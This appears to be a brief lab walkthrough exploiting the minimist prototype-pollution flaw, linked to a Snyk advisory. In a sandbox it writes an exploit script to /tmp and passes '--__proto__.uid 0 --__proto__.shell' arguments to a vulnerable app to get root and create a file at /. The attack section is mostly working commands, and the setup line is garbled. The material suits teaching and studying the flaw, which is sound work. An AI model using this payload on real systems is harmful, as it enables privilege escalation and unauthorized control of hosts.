https://snyk.io/vuln/SNYK-JS-MINIMIST-559764
npm inpm run buildnpm run start
Now you are in a sandbox with permissions of just-user. Our goal is to create test.txt at the root of a container. For sure we don't have that permissions.
To validate it let's try to do the following:
echo "test" > /test.txt
bash: /test.txt: Permission denied
- Create exploit script:
printf '#!/bin/sh\necho "test" > /test.txt' > /tmp/exploit - Give it execute permission:
chmod +x /tmp/exploit - Run the application:
./app --__proto__.uid 0 --__proto__.shell /tmp/exploit
To validate run cat /test.txt.
As you can see we have permission violation via vulnerable application.
Nice